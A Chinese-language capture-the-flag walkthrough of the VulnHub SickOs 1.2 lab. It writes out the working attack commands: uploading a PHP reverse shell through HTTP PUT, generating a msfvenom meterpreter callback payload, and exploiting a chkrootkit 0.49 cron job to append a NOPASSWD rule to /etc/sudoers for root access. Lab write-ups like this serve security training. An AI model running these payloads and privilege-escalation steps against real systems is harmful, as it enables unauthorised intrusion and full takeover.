SICKOS 1.2 WALKTHROUGH

 

SickOs:1.2

https://www.vulnhub.com/entry/sickos-12,144/

首先获取目标ip地址,并探测端口

netdiscover -i eth0 -r 192.168.88.1/24

访问web,并查看源码,没有什么有用的东西

目录发现

dirb http://192.168.88.201

nikto -h http://192.168.88.201

curl -v -X OPTIONS http://192.168.88.201

curl -v -X OPTIONS http://192.168.88.201/test/

/test/ 目录 支持 put 方法,可以 向 test 目录 put 一个 反弹shell。

直接利用kali 自带的 reverse-shell

修改回连 的ip 地址和端口

nmap -p 80 192.168.88.201 –script http-put –script-args http-put.url=’/test/exploit.php’,http-put.file=’php-reverse-shell.php’

成功上传反弹shell 脚本

开启 本地 侦听

访问 http://192.168.88.201/test/exploit.php

反弹 不成功

自己重新生成shell ,再次尝试。

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.174 LPORT=1234 -f raw > exploit3.php

nmap -p 80 192.168.88.201 –script http-put –script-args http-put.url=’/test/exploit3.php’,http-put.file=’exploit3.php’

多次反弹失败,百度一下,是防火墙阻止了非常用端口出来,所以我们的1234,333都弹不回来!!

nmap -p 80 192.168.88.201 –script http-put –script-args http-put.url=’/test/exploit5.php’,http-put.file=’php-reverse-shell.php’

第五次尝试

这次终于弹回来了!!!web权限。

ls -la /etc/cron.daily

查看计划任务,发现存在chkrootkit ,版本0.49

searchsploit chkrookit 0.49版本的chkrootkit存在本地提权漏洞

chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。

漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事(参考百度)

touch update

chmod +x update

echo ‘chmod +w /etc/sudoers && echo “www-data ALL=(ALL)NOPASSWD:ALL” >> /etc/sudoers’ > update

sudo su root 获得root权限

第二种方法,利用我们 msf 进行利用

上传 meterpreter 反弹 shell ,反弹端口 443 ,获得session,

再获得session前提下使用 exploit/unix/local/chkrootkit 模块可以获得root 权

特权提升靶机

posted @ 2019-08-11 14:45  micr067  阅读(183)  评论(0编辑  收藏  举报